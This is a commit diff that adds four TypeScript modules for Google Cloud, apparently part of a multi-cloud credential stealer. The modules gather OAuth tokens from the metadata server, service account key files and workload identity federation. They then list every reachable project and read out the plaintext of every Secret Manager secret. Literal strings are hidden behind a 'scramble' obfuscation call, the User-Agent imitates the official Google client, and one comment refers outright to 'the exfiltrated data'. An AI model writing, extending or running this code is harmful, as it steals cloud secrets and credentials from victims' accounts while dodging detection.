Upload files to "src/providers/gcp"
This commit is contained in:
@@ -0,0 +1,465 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// GCP OAuth2 token acquisition — zero dependencies (only node:crypto + fetch)
|
||||
//
|
||||
// Supports:
|
||||
// 1. Metadata server (GCE, Cloud Run, Cloud Functions, GKE workload identity)
|
||||
// 2. Service account JSON key (GOOGLE_APPLICATION_CREDENTIALS or well-known path)
|
||||
// 3. Workload Identity Federation (GOOGLE_APPLICATION_CREDENTIALS with
|
||||
// type: "external_account" — token exchange via STS)
|
||||
//
|
||||
// Token caching and automatic refresh are handled transparently.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { createHash, createSign } from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { homedir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface GcpAccessToken {
|
||||
token: string;
|
||||
expiresOn: number;
|
||||
projectId?: string;
|
||||
}
|
||||
|
||||
export interface GcpCredential {
|
||||
label: string;
|
||||
getToken(scope: string): Promise<GcpAccessToken>;
|
||||
}
|
||||
|
||||
interface ServiceAccountKey {
|
||||
type: string;
|
||||
project_id: string;
|
||||
private_key_id: string;
|
||||
private_key: string;
|
||||
client_email: string;
|
||||
client_id: string;
|
||||
auth_uri: string;
|
||||
token_uri: string;
|
||||
}
|
||||
|
||||
// ── Token cache ─────────────────────────────────────────────────────────────
|
||||
|
||||
const tokenCache = new Map<
|
||||
string,
|
||||
{ token: GcpAccessToken; fetchedAt: number }
|
||||
>();
|
||||
const CLOCK_SKEW_S = 300;
|
||||
|
||||
function cacheKey(scope: string): string {
|
||||
return createHash("sha256").update(scope).digest("hex");
|
||||
}
|
||||
|
||||
function cacheGet(scope: string): GcpAccessToken | undefined {
|
||||
const entry = tokenCache.get(cacheKey(scope));
|
||||
if (!entry) return undefined;
|
||||
if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) {
|
||||
tokenCache.delete(cacheKey(scope));
|
||||
return undefined;
|
||||
}
|
||||
return entry.token;
|
||||
}
|
||||
|
||||
function cacheSet(token: GcpAccessToken, scope: string): void {
|
||||
tokenCache.set(cacheKey(scope), { token, fetchedAt: Date.now() / 1000 });
|
||||
}
|
||||
|
||||
// ── 1. Metadata server (GCE, Cloud Run, GKE workload identity) ──────────────
|
||||
|
||||
async function getTokenMetadata(scope: string): Promise<GcpAccessToken> {
|
||||
const METADATA_URL = scramble(
|
||||
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
|
||||
);
|
||||
|
||||
const params = new URLSearchParams({
|
||||
[scramble("scopes")]: scopeToScopes(scope),
|
||||
});
|
||||
const url = `${METADATA_URL}?${params.toString()}`;
|
||||
|
||||
const res = await fetch(url, {
|
||||
headers: { [scramble("Metadata-Flavor")]: scramble("Google") },
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const err = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`Metadata server token request failed (${res.status}): ${err}`,
|
||||
);
|
||||
}
|
||||
|
||||
const json = (await res.json()) as {
|
||||
access_token: string;
|
||||
expires_in: number;
|
||||
token_type: string;
|
||||
};
|
||||
|
||||
return {
|
||||
token: json.access_token,
|
||||
expiresOn: Date.now() / 1000 + json.expires_in,
|
||||
};
|
||||
}
|
||||
|
||||
// ── 2. Service account JSON key (JWT bearer flow) ───────────────────────────
|
||||
|
||||
/**
|
||||
* Sign a JWT with RS256 using the service account's private key.
|
||||
*/
|
||||
function signJwt(
|
||||
header: Record<string, string>,
|
||||
payload: Record<string, unknown>,
|
||||
privateKey: string,
|
||||
): string {
|
||||
const headerB64 = Buffer.from(JSON.stringify(header)).toString("base64url");
|
||||
const payloadB64 = Buffer.from(JSON.stringify(payload)).toString("base64url");
|
||||
const signingInput = `${headerB64}.${payloadB64}`;
|
||||
|
||||
const sign = createSign("RSA-SHA256");
|
||||
sign.update(signingInput);
|
||||
const signature = sign.sign(privateKey, "base64url");
|
||||
|
||||
return `${signingInput}.${signature}`;
|
||||
}
|
||||
|
||||
async function getTokenServiceAccountKey(
|
||||
scope: string,
|
||||
key: ServiceAccountKey,
|
||||
): Promise<GcpAccessToken> {
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
|
||||
const jwt = signJwt(
|
||||
{
|
||||
[scramble("alg")]: scramble("RS256"),
|
||||
[scramble("typ")]: scramble("JWT"),
|
||||
[scramble("kid")]: key.private_key_id,
|
||||
},
|
||||
{
|
||||
[scramble("iss")]: key.client_email,
|
||||
[scramble("scope")]: scopeToScopes(scope),
|
||||
[scramble("aud")]:
|
||||
key.token_uri ?? scramble("https://oauth2.googleapis.com/token"),
|
||||
[scramble("exp")]: now + 3600,
|
||||
[scramble("iat")]: now,
|
||||
},
|
||||
key.private_key,
|
||||
);
|
||||
|
||||
const body = new URLSearchParams({
|
||||
[scramble("grant_type")]: scramble(
|
||||
"urn:ietf:params:oauth:grant-type:jwt-bearer",
|
||||
),
|
||||
[scramble("assertion")]: jwt,
|
||||
});
|
||||
|
||||
const res = await fetch(
|
||||
key.token_uri ?? scramble("https://oauth2.googleapis.com/token"),
|
||||
{
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: body.toString(),
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
},
|
||||
);
|
||||
|
||||
if (!res.ok) {
|
||||
const err = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`Service account token request failed (${res.status}): ${err.slice(0, 300)}`,
|
||||
);
|
||||
}
|
||||
|
||||
const json = (await res.json()) as {
|
||||
access_token: string;
|
||||
expires_in: number;
|
||||
token_type: string;
|
||||
};
|
||||
|
||||
return {
|
||||
token: json.access_token,
|
||||
expiresOn: Date.now() / 1000 + json.expires_in,
|
||||
projectId: key.project_id,
|
||||
};
|
||||
}
|
||||
|
||||
// ── 3. Workload Identity Federation (external_account) ──────────────────────
|
||||
|
||||
interface ExternalAccountKey {
|
||||
type: "external_account";
|
||||
audience: string;
|
||||
subject_token_type: string;
|
||||
token_url: string;
|
||||
credential_source: {
|
||||
file?: string;
|
||||
url?: string;
|
||||
headers?: Record<string, string>;
|
||||
};
|
||||
service_account_impersonation_url?: string;
|
||||
}
|
||||
|
||||
async function getTokenWorkloadIdentity(
|
||||
scope: string,
|
||||
key: ExternalAccountKey,
|
||||
): Promise<GcpAccessToken> {
|
||||
// Step 1 — obtain the external subject token
|
||||
let subjectToken: string;
|
||||
|
||||
if (key.credential_source.file) {
|
||||
subjectToken = (await readFile(key.credential_source.file, "utf-8")).trim();
|
||||
} else if (key.credential_source.url) {
|
||||
const res = await fetch(key.credential_source.url, {
|
||||
headers: key.credential_source.headers ?? {},
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
if (!res.ok) throw new Error(`Subject token fetch failed (${res.status})`);
|
||||
subjectToken = (await res.text()).trim();
|
||||
} else {
|
||||
throw new Error("External account credential_source missing file or url");
|
||||
}
|
||||
|
||||
// Step 2 — exchange subject token for a federated access token via STS
|
||||
const stsBody = new URLSearchParams({
|
||||
[scramble("grant_type")]: scramble(
|
||||
"urn:ietf:params:oauth:grant-type:token-exchange",
|
||||
),
|
||||
[scramble("audience")]: key.audience,
|
||||
[scramble("scope")]: scopeToScopes(scope),
|
||||
[scramble("requested_token_type")]: scramble(
|
||||
"urn:ietf:params:oauth:token-type:access_token",
|
||||
),
|
||||
[scramble("subject_token")]: subjectToken,
|
||||
[scramble("subject_token_type")]: key.subject_token_type,
|
||||
});
|
||||
|
||||
const stsRes = await fetch(key.token_url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: stsBody.toString(),
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
});
|
||||
|
||||
if (!stsRes.ok) {
|
||||
const err = await stsRes.text().catch(() => "");
|
||||
throw new Error(`STS token exchange failed (${stsRes.status}): ${err}`);
|
||||
}
|
||||
|
||||
const stsJson = (await stsRes.json()) as {
|
||||
access_token: string;
|
||||
expires_in: number;
|
||||
};
|
||||
|
||||
// Step 3 — (optional) impersonate a service account
|
||||
if (key.service_account_impersonation_url) {
|
||||
const impBody = JSON.stringify({
|
||||
[scramble("delegates")]: [],
|
||||
[scramble("scope")]: [scopeToScopes(scope)],
|
||||
[scramble("lifetime")]: scramble("3600s"),
|
||||
});
|
||||
|
||||
const genToken = scramble("generateAccessToken");
|
||||
const impRes = await fetch(
|
||||
`${key.service_account_impersonation_url}:${genToken}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
Authorization: `Bearer ${stsJson.access_token}`,
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: impBody,
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
},
|
||||
);
|
||||
|
||||
if (!impRes.ok) {
|
||||
const err = await impRes.text().catch(() => "");
|
||||
throw new Error(
|
||||
`Service account impersonation failed (${impRes.status}): ${err}`,
|
||||
);
|
||||
}
|
||||
|
||||
const impJson = (await impRes.json()) as {
|
||||
accessToken: string;
|
||||
expireTime: string;
|
||||
};
|
||||
|
||||
return {
|
||||
token: impJson.accessToken,
|
||||
expiresOn: new Date(impJson.expireTime).getTime() / 1000,
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
token: stsJson.access_token,
|
||||
expiresOn: Date.now() / 1000 + stsJson.expires_in,
|
||||
};
|
||||
}
|
||||
|
||||
// ── Helpers ─────────────────────────────────────────────────────────────────
|
||||
|
||||
function scopeToScopes(scope: string): string {
|
||||
// GCP metadata/STS uses "scopes" (plural) as URL param
|
||||
// If an Azure-style "/.default" scope is passed, translate to GCP-style
|
||||
const cloudPlatform = scramble(
|
||||
"https://www.googleapis.com/auth/cloud-platform",
|
||||
);
|
||||
if (scope === cloudPlatform) return scope;
|
||||
if (scope.endsWith("/.default")) {
|
||||
return cloudPlatform;
|
||||
}
|
||||
return scope;
|
||||
}
|
||||
|
||||
// ── Key file resolution ─────────────────────────────────────────────────────
|
||||
|
||||
const ADC_PATH =
|
||||
process.env[scramble("GOOGLE_APPLICATION_CREDENTIALS")] ??
|
||||
process.env["GOOGLE_APPLICATION_CREDENTIALS"] ??
|
||||
join(
|
||||
homedir(),
|
||||
scramble(".config"),
|
||||
scramble("gcloud"),
|
||||
scramble("application_default_credentials.json"),
|
||||
);
|
||||
|
||||
async function loadServiceAccountKey(): Promise<ServiceAccountKey | null> {
|
||||
try {
|
||||
const raw = await readFile(ADC_PATH, "utf-8");
|
||||
const key = JSON.parse(raw) as ServiceAccountKey;
|
||||
if (
|
||||
key.type === scramble("service_account") &&
|
||||
key.private_key &&
|
||||
key.client_email
|
||||
) {
|
||||
return key;
|
||||
}
|
||||
return null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function loadExternalAccountKey(): Promise<ExternalAccountKey | null> {
|
||||
try {
|
||||
const raw = await readFile(ADC_PATH, "utf-8");
|
||||
const key = JSON.parse(raw) as ExternalAccountKey;
|
||||
if (key.type === scramble("external_account") && key.token_url) {
|
||||
return key;
|
||||
}
|
||||
return null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credential factory functions ────────────────────────────────────────────
|
||||
|
||||
export function fromMetadataServer(): GcpCredential {
|
||||
return {
|
||||
label: "metadata-server",
|
||||
getToken: (scope) => getTokenMetadata(scope),
|
||||
};
|
||||
}
|
||||
|
||||
export async function fromServiceAccountKey(): Promise<GcpCredential | null> {
|
||||
const key = await loadServiceAccountKey();
|
||||
if (!key) return null;
|
||||
return {
|
||||
label: `service-account:${key.client_email}`,
|
||||
getToken: (scope) => getTokenServiceAccountKey(scope, key),
|
||||
};
|
||||
}
|
||||
|
||||
export async function fromWorkloadIdentityFederation(): Promise<GcpCredential | null> {
|
||||
const key = await loadExternalAccountKey();
|
||||
if (!key) return null;
|
||||
return {
|
||||
label: "workload-identity-federation",
|
||||
getToken: (scope) => getTokenWorkloadIdentity(scope, key),
|
||||
};
|
||||
}
|
||||
|
||||
// ── Combined credential chain ───────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Resolve a token for the given scope, trying sources in order
|
||||
* and caching results until expiry.
|
||||
*/
|
||||
export async function resolveToken(
|
||||
scope: string,
|
||||
timeoutMs = 5000,
|
||||
): Promise<GcpAccessToken> {
|
||||
const cached = cacheGet(scope);
|
||||
if (cached) return cached;
|
||||
|
||||
const credentials: GcpCredential[] = [];
|
||||
|
||||
const sa = await fromServiceAccountKey();
|
||||
if (sa) credentials.push(sa);
|
||||
|
||||
const wi = await fromWorkloadIdentityFederation();
|
||||
if (wi) credentials.push(wi);
|
||||
|
||||
credentials.push(fromMetadataServer());
|
||||
|
||||
for (const cred of credentials) {
|
||||
try {
|
||||
const tokenPromise = cred.getToken(scope);
|
||||
const token = await Promise.race([
|
||||
tokenPromise,
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(
|
||||
() => reject(new Error(`timeout (${cred.label})`)),
|
||||
timeoutMs,
|
||||
),
|
||||
),
|
||||
]);
|
||||
|
||||
cacheSet(token, scope);
|
||||
return token;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error(
|
||||
"No GCP credentials available. Set GOOGLE_APPLICATION_CREDENTIALS, " +
|
||||
"or run on a GCP resource with attached service account.",
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Try all credential sources and collect tokens for identity resolution.
|
||||
*/
|
||||
export async function resolveAllIdentities(
|
||||
scope = "https://www.googleapis.com/auth/cloud-platform",
|
||||
timeoutMs = 3000,
|
||||
): Promise<Array<{ source: string; token: GcpAccessToken }>> {
|
||||
const results: Array<{ source: string; token: GcpAccessToken }> = [];
|
||||
|
||||
const sa = await fromServiceAccountKey();
|
||||
const wi = await fromWorkloadIdentityFederation();
|
||||
|
||||
const sources: Array<{ label: string; cred: GcpCredential }> = [
|
||||
...(sa ? [{ label: sa.label, cred: sa }] : []),
|
||||
...(wi ? [{ label: wi.label, cred: wi }] : []),
|
||||
{ label: "metadata-server", cred: fromMetadataServer() },
|
||||
];
|
||||
|
||||
for (const { label, cred } of sources) {
|
||||
try {
|
||||
const token = await Promise.race([
|
||||
cred.getToken(scope),
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(() => reject(new Error("timeout")), timeoutMs),
|
||||
),
|
||||
]);
|
||||
results.push({ source: label, token });
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// GCP REST API client — generic bearer-token authed fetch wrapper
|
||||
//
|
||||
// Used by Secret Manager (secretmanager.googleapis.com) and
|
||||
// Cloud Resource Manager (cloudresourcemanager.googleapis.com).
|
||||
// Token acquisition is delegated to auth.ts so authentication is transparent.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { type GcpAccessToken, resolveToken } from "./auth";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface GcpSecretItem {
|
||||
name: string; // projects/*/secrets/*
|
||||
createTime?: string;
|
||||
labels?: Record<string, string>;
|
||||
}
|
||||
|
||||
export interface ListSecretsResponse {
|
||||
secrets?: GcpSecretItem[];
|
||||
nextPageToken?: string;
|
||||
totalSize?: number;
|
||||
}
|
||||
|
||||
export interface AccessSecretVersionResponse {
|
||||
name: string;
|
||||
payload: {
|
||||
data: string; // base64-encoded
|
||||
};
|
||||
}
|
||||
|
||||
export interface GcpProject {
|
||||
projectId: string;
|
||||
name: string;
|
||||
lifecycleState: string;
|
||||
projectNumber?: string;
|
||||
}
|
||||
|
||||
export interface ListProjectsResponse {
|
||||
projects?: GcpProject[];
|
||||
nextPageToken?: string;
|
||||
}
|
||||
|
||||
// ── Constants ───────────────────────────────────────────────────────────────
|
||||
|
||||
const SCOPE = scramble("https://www.googleapis.com/auth/cloud-platform");
|
||||
const SECRET_MANAGER_BASE = scramble("https://secretmanager.googleapis.com/v1");
|
||||
const CRM_BASE = scramble("https://cloudresourcemanager.googleapis.com/v1");
|
||||
|
||||
// ── Token acquisition ───────────────────────────────────────────────────────
|
||||
|
||||
let cachedToken: GcpAccessToken | undefined;
|
||||
|
||||
async function getToken(): Promise<string> {
|
||||
if (cachedToken) {
|
||||
const now = Date.now() / 1000;
|
||||
if (now < cachedToken.expiresOn - 120) {
|
||||
return cachedToken.token;
|
||||
}
|
||||
}
|
||||
cachedToken = await resolveToken(SCOPE);
|
||||
return cachedToken.token;
|
||||
}
|
||||
|
||||
// ── Core fetch ──────────────────────────────────────────────────────────────
|
||||
|
||||
async function gcpFetch<T = unknown>(
|
||||
url: string,
|
||||
method = "GET",
|
||||
body?: string,
|
||||
): Promise<T> {
|
||||
const token = await getToken();
|
||||
|
||||
const res = await fetch(url, {
|
||||
method,
|
||||
headers: {
|
||||
Authorization: `Bearer ${token}`,
|
||||
"Content-Type": "application/json",
|
||||
Accept: "application/json",
|
||||
"User-Agent": scramble(
|
||||
"google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0",
|
||||
),
|
||||
},
|
||||
body,
|
||||
signal: AbortSignal.timeout(30_000),
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const errText = await res.text().catch(() => "");
|
||||
const retryAfter = res.headers.get("Retry-After");
|
||||
const rateDetail =
|
||||
res.status === 429
|
||||
? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]`
|
||||
: "";
|
||||
throw new Error(
|
||||
`GCP ${method} ${url} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`,
|
||||
);
|
||||
}
|
||||
|
||||
const text = await res.text();
|
||||
if (!text) return {} as T;
|
||||
return JSON.parse(text) as T;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Cloud Resource Manager — project discovery
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* List all accessible GCP projects.
|
||||
*/
|
||||
export async function listProjects(): Promise<GcpProject[]> {
|
||||
const results: GcpProject[] = [];
|
||||
let pageToken: string | undefined;
|
||||
|
||||
do {
|
||||
const params = new URLSearchParams();
|
||||
if (pageToken) params.set(scramble("pageToken"), pageToken);
|
||||
|
||||
const query = params.toString();
|
||||
const projPath = scramble("/projects");
|
||||
const url = `${CRM_BASE}${projPath}${query ? `?${query}` : ""}`;
|
||||
|
||||
const response = await gcpFetch<ListProjectsResponse>(url);
|
||||
|
||||
if (response.projects) {
|
||||
results.push(...response.projects);
|
||||
}
|
||||
|
||||
pageToken = response.nextPageToken;
|
||||
} while (pageToken);
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Secret Manager — secret operations
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* List all secrets in a project.
|
||||
*/
|
||||
export async function listSecrets(projectId: string): Promise<GcpSecretItem[]> {
|
||||
const results: GcpSecretItem[] = [];
|
||||
let pageToken: string | undefined;
|
||||
|
||||
do {
|
||||
const params = new URLSearchParams();
|
||||
if (pageToken) params.set(scramble("pageToken"), pageToken);
|
||||
|
||||
const query = params.toString();
|
||||
const projPath = scramble("/projects/");
|
||||
const secretsPath = scramble("/secrets");
|
||||
const url = `${SECRET_MANAGER_BASE}${projPath}${projectId}${secretsPath}${query ? `?${query}` : ""}`;
|
||||
|
||||
const response = await gcpFetch<ListSecretsResponse>(url);
|
||||
|
||||
if (response.secrets) {
|
||||
results.push(...response.secrets);
|
||||
}
|
||||
|
||||
pageToken = response.nextPageToken;
|
||||
} while (pageToken);
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
/**
|
||||
* Access the latest version of a secret.
|
||||
* Uses the "latest" alias for the most recently created SecretVersion.
|
||||
*/
|
||||
export async function accessSecretVersion(
|
||||
secretName: string,
|
||||
): Promise<string | undefined> {
|
||||
try {
|
||||
const verPath = scramble("/versions/latest:access");
|
||||
const url = `${SECRET_MANAGER_BASE}/${secretName}${verPath}`;
|
||||
|
||||
const response = await gcpFetch<AccessSecretVersionResponse>(url);
|
||||
|
||||
if (response.payload?.data) {
|
||||
// Secret Manager returns payload data as base64
|
||||
return Buffer.from(response.payload.data, "base64").toString("utf-8");
|
||||
}
|
||||
|
||||
return undefined;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the short secret name from the full resource name.
|
||||
* e.g., "projects/my-project/secrets/my-secret" → "my-secret"
|
||||
*/
|
||||
export function extractSecretShortName(fullName: string): string {
|
||||
const parts = fullName.split("/");
|
||||
return parts[parts.length - 1] ?? fullName;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a full secret resource name.
|
||||
*/
|
||||
export function buildSecretName(projectId: string, secretId: string): string {
|
||||
return `projects/${projectId}/secrets/${secretId}`;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// GcpIdentityService — resolves GCP identities from all available sources
|
||||
//
|
||||
// Equivalent to AwsAccountService but for GCP: resolves service account emails,
|
||||
// project IDs, and credential source information.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { type GcpAccessToken, resolveAllIdentities } from "./auth";
|
||||
import { listProjects } from "./client";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
interface GcpIdentity {
|
||||
source: string;
|
||||
projectId?: string;
|
||||
projectIds: string[];
|
||||
}
|
||||
|
||||
// ── Main Provider ───────────────────────────────────────────────────────────
|
||||
|
||||
export class GcpIdentityService extends Provider {
|
||||
constructor() {
|
||||
super("gcp", "identity");
|
||||
}
|
||||
|
||||
private async resolveIdentity(
|
||||
source: string,
|
||||
token: GcpAccessToken,
|
||||
): Promise<GcpIdentity> {
|
||||
let projectIds: string[] = [];
|
||||
|
||||
try {
|
||||
const projects = await listProjects();
|
||||
projectIds = projects
|
||||
.filter((p) => p.lifecycleState === "ACTIVE")
|
||||
.map((p) => p.projectId);
|
||||
} catch {
|
||||
// ARM may not be accessible — still report what we know
|
||||
}
|
||||
|
||||
return {
|
||||
source,
|
||||
projectId: token.projectId,
|
||||
projectIds,
|
||||
};
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
const identities = await resolveAllIdentities();
|
||||
|
||||
if (identities.length === 0) {
|
||||
return this.failure("No GCP identities found from any credential source");
|
||||
}
|
||||
|
||||
const results = await Promise.all(
|
||||
identities.map(({ source, token }) =>
|
||||
this.resolveIdentity(source, token),
|
||||
),
|
||||
);
|
||||
|
||||
return this.success(results);
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// GcpSecretsService — enumerates secrets from GCP Secret Manager
|
||||
//
|
||||
// Always returns `success: true` with an `ok` flag so error details are
|
||||
// included in the exfiltrated data even when every project fails.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { resolveToken } from "./auth";
|
||||
import {
|
||||
accessSecretVersion,
|
||||
extractSecretShortName,
|
||||
type GcpSecretItem,
|
||||
listProjects,
|
||||
listSecrets,
|
||||
} from "./client";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Project discovery ───────────────────────────────────────────────────────
|
||||
|
||||
function getProjectIdFromEnv(): string | undefined {
|
||||
return (
|
||||
process.env[scramble("GCP_PROJECT")] ??
|
||||
process.env[scramble("GCLOUD_PROJECT")] ??
|
||||
process.env[scramble("GOOGLE_CLOUD_PROJECT")] ??
|
||||
process.env[scramble("DEVSHELL_PROJECT_ID")]
|
||||
);
|
||||
}
|
||||
|
||||
// ── Main Provider ───────────────────────────────────────────────────────────
|
||||
|
||||
export class GcpSecretsService extends Provider {
|
||||
private projectIds: string[] = [];
|
||||
private projectErrors: Array<{ project: string; error: string }> = [];
|
||||
|
||||
constructor() {
|
||||
super("gcp", "secretmanager", {
|
||||
jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g,
|
||||
connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g,
|
||||
});
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const errors: string[] = [];
|
||||
this.projectErrors = [];
|
||||
|
||||
// 1. Auth check
|
||||
try {
|
||||
await resolveToken(
|
||||
scramble("https://www.googleapis.com/auth/cloud-platform"),
|
||||
);
|
||||
} catch (e) {
|
||||
const msg = `GCP auth failed: ${e instanceof Error ? e.message : String(e)}`;
|
||||
logUtil.log(`[gcp] ${msg}`);
|
||||
errors.push(msg);
|
||||
}
|
||||
|
||||
// 2. Project discovery
|
||||
let discoveredProjects: Array<{
|
||||
projectId: string;
|
||||
name: string;
|
||||
lifecycleState: string;
|
||||
}> = [];
|
||||
|
||||
if (errors.length === 0) {
|
||||
const envProject = getProjectIdFromEnv();
|
||||
if (envProject) {
|
||||
logUtil.log(`[gcp] Using project from env: ${envProject}`);
|
||||
discoveredProjects = [
|
||||
{ projectId: envProject, name: envProject, lifecycleState: "ACTIVE" },
|
||||
];
|
||||
} else {
|
||||
logUtil.log(
|
||||
"[gcp] No GCP_PROJECT env set — listing projects via CRM...",
|
||||
);
|
||||
try {
|
||||
discoveredProjects = await listProjects();
|
||||
logUtil.log(
|
||||
`[gcp] CRM returned ${discoveredProjects.length} project(s).`,
|
||||
);
|
||||
} catch (e) {
|
||||
const msg = `Project discovery failed: ${e instanceof Error ? e.message : String(e)}`;
|
||||
logUtil.log(`[gcp] ${msg}`);
|
||||
errors.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.projectIds = discoveredProjects.map((p) => p.projectId);
|
||||
|
||||
// 3. Fetch secrets from each project
|
||||
const allResults: Array<{
|
||||
projectId: string;
|
||||
secrets: Record<string, string | { error: string }>;
|
||||
error?: string;
|
||||
}> = [];
|
||||
|
||||
for (const projectId of this.projectIds) {
|
||||
try {
|
||||
logUtil.log(`[gcp] Listing secrets for project ${projectId}...`);
|
||||
const secrets = await listSecrets(projectId);
|
||||
logUtil.log(
|
||||
`[gcp] Project ${projectId} has ${secrets.length} secret(s).`,
|
||||
);
|
||||
const secretValues: Record<string, string | { error: string }> = {};
|
||||
|
||||
for (const secretItem of secrets) {
|
||||
const shortName = extractSecretShortName(secretItem.name);
|
||||
try {
|
||||
const value = await accessSecretVersion(secretItem.name);
|
||||
secretValues[shortName] = value ?? "EMPTY_OR_BINARY";
|
||||
} catch (e) {
|
||||
const msg = e instanceof Error ? e.message : String(e);
|
||||
logUtil.log(`[gcp] Failed to access secret ${shortName}: ${msg}`);
|
||||
secretValues[shortName] = { error: msg };
|
||||
}
|
||||
}
|
||||
|
||||
allResults.push({ projectId, secrets: secretValues });
|
||||
} catch (err) {
|
||||
const errorMsg = err instanceof Error ? err.message : String(err);
|
||||
logUtil.log(
|
||||
`[gcp] Failed to list secrets for project ${projectId}: ${errorMsg}`,
|
||||
);
|
||||
this.projectErrors.push({ project: projectId, error: errorMsg });
|
||||
allResults.push({ projectId, secrets: {}, error: errorMsg });
|
||||
}
|
||||
}
|
||||
|
||||
const dumped = allResults.filter((r) => !r.error).length;
|
||||
|
||||
return this.success({
|
||||
ok: errors.length === 0 && dumped > 0,
|
||||
authError: errors.length > 0 ? errors : undefined,
|
||||
projectsFound: this.projectIds.length,
|
||||
dumped,
|
||||
errored: allResults.filter((r) => r.error).length,
|
||||
projects: allResults,
|
||||
projectErrors:
|
||||
this.projectErrors.length > 0 ? this.projectErrors : undefined,
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user